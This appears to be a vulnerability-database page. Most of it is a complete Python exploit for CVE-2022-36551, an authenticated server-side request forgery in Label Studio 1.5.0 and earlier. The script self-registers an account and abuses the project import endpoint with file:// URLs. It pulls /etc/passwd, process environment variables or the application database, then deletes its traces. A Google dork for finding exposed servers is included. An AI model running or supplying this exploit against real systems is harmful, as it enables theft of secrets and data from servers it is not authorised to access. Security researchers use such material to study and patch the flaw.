| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Label Studio 1.5.0 - Authenticated Server Side Request Forgery Vulnerability | 28 Mar 202300:00 | – | zdt | |
| CVE-2022-36551 | 3 Oct 202212:15 | – | attackerkb | |
| CVE-2022-36551 | 10 Nov 202222:53 | – | circl | |
| Heartex Label Studio 代码问题漏洞 | 3 Oct 202200:00 | – | cnnvd | |
| Heartex Label Studio Server-Side Request Forgery Vulnerability | 11 Oct 202200:00 | – | cnvd | |
| CVE-2022-36551 | 3 Oct 202200:00 | – | cve | |
| CVE-2022-36551 | 3 Oct 202200:00 | – | cvelist | |
| EUVD-2022-0136 | 3 Oct 202520:07 | – | euvd | |
| Heartex - Label Studio Community Edition vulnerable to SSRF in the Data Import module | 4 Oct 202200:00 | – | github | |
| CVE-2022-36551 | 3 Oct 202212:15 | – | nvd |
# Exploit Title: Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF)
# Google Dork: intitle:"Label Studio" intext:"Sign Up" intext:"Welcome to Label Studio Community Edition"
# Date: 2022-10-03
# Exploit Author: @DeveloperNinja, [email protected]
# Vendor Homepage: https://github.com/heartexlabs/label-studio, https://labelstud.io/
# Software Link: https://github.com/heartexlabs/label-studio/releases
# Version: <=1.5.0
# CVE : CVE-2022-36551
# Docker Container: heartexlabs/label-studio
# Server Side Request Forgery (SSRF) in the Data Import module in Heartex - Label Studio Community Edition
# versions 1.5.0 and earlier allows an authenticated user to access arbitrary files on the system.
# Furthermore, self-registration is enabled by default in these versions of Label Studio enabling a remote
# attacker to create a new account and then exploit the SSRF.
#
# This exploit has been tested on Label Studio 1.5.0
#
# Exploit Usage Examples (replace with your target details):
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /etc/passwd
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /proc/self/environ
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /label-studio/data/label_studio.sqlite3 --out label_studio.sqlite3.sqlite3
import json
import argparse
import requests
import shutil
from urllib.parse import urljoin
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
# main function for exploit
def main(url, filePath, writePath, username, password, shouldRegister):
# check if the URL is reachable
try:
r = requests.get(url, verify=False)
if r.status_code == 200:
print("[+] URL is reachable")
else:
print("[!] Error: URL is not reachable, check the URL and try again")
exit(1)
except requests.exceptions.RequestException as e:
print("[!] Error: URL is not reachable, check the URL and try again")
exit(1)
session = requests.Session()
login(session, url, username, password, shouldRegister)
print("[+] Logged in")
print("[+] Creating project...")
# Create a temp project
projectDetails = create_project(session, url)
print("[+] Project created, ID: {}".format(projectDetails["id"]))
#time for the actual exploit, import a "file" to the newly created project (IE: file:///etc/passwd, or file:///proc/self/environ)
print("[+] Attempting to fetch: {}".format(filePath))
fetch_file(session, url, projectDetails["id"], filePath, writePath)
print("[+] Deleting Project.. {}".format(projectDetails["id"]))
delete_project(session, url, projectDetails["id"])
print("[+] Project Deleted")
print("[*] Finished executing exploit")
# login, logs the user in
def login(session, url, username, password, shouldRegister):
# hit the main page first to get the CSRF token set
r = session.get(url, verify=False)
r = session.post(
urljoin(url, "/user/login"),
data={
"email": username,
"password": password,
"csrfmiddlewaretoken": session.cookies["csrftoken"],
},
verify=False
)
if r.status_code == 200 and r.text.find("The email and password you entered") < 0:
return
elif r.text.find("The email and password you entered") > 0 and shouldRegister:
print("[!] Account does not exist, registering...")
r = session.post(
urljoin(url, "/user/signup/"),
data={
"email": username,
"password": password,
"csrfmiddlewaretoken": session.cookies["csrftoken"],
'allow_newsletters': False,
},
)
if r.status_code == 302:
# at this point the system automatically logs you in (assuming self-registration is enabled, which it is by default)
return
else:
print("[!] Error: Could not login, check the credentials and try again")
exit(1)
# create_project creates a temporary project for exploiting the SSRF
def create_project(session, url):
r = session.post(
urljoin(url, "/api/projects"),
data={
"title": "TPS Report Finder",
},
verify=False
)
if r.status_code == 200 or r.status_code == 201:
return r.json()
else:
print("[!] Error: Could not create project, check your credentials / permissions")
exit(1)
def fetch_file(session, url, projectId, filePath, writePath):
# if scheme is empty prepend file://
parsedFilePath = urlparse(filePath)
if parsedFilePath.scheme == "":
filePath = "file://" + filePath
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
url = urljoin(url, "/api/projects/{}/import".format(projectId))
r = session.post(url,
data={
"url": filePath, # This is the main vulnerability, there is no restriction on the "schema" of the provided URL
},
headers=headers,
verify=False
)
if r.status_code == 201:
# file found! -- first grab the file path details
fileId = r.json()["file_upload_ids"][0]
r = session.get(urljoin(url, "/api/import/file-upload/{}".format(fileId)), headers=headers, verify=False)
r = session.get(urljoin(url, "/data/{}".format(r.json()["file"])), headers=headers, verify=False, stream=True)
print("[+] File found!")
# if user wants to write to disk, make it so
if writePath != None:
print("[+] Writing to {}".format(writePath))
# write the file to disk
with open(writePath, 'wb') as handle:
shutil.copyfileobj(r.raw, handle)
handle.close()
return
else:
print("==========================================================")
print(r.text)
print("==========================================================")
return
else:
print("[!] Error: Could not fetch file, it's likely the file path doesn't exist: ")
print("\t" + r.json()["validation_errors"]["non_field_errors"][0])
return
def delete_project(session, url, projectId):
url = urljoin(url, "/api/projects/{}".format(projectId))
r = session.delete(url, verify=False)
if r.status_code == 200 or r.status_code == 204:
return
else:
print( "[!] Error: Could not delete project, check your credentials / permissions")
exit(1)
parser = argparse.ArgumentParser()
parser.add_argument("--url", required=True, help="Label Studio URL")
parser.add_argument("--file", required=True, help="Path to the file you want to fetch")
parser.add_argument("--out", required=False, help="Path to write the file. If omitted will be written to STDOUT")
parser.add_argument("--username", required=False, help="Username for existing account (email)")
parser.add_argument("--password", required=False, help="Password for existing account")
parser.add_argument("--register", required=False, action=argparse.BooleanOptionalAction, help="Register user if it doesn't exist",
)
args = parser.parse_args()
main(args.url, args.file, args.out, args.username, args.password, args.register)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation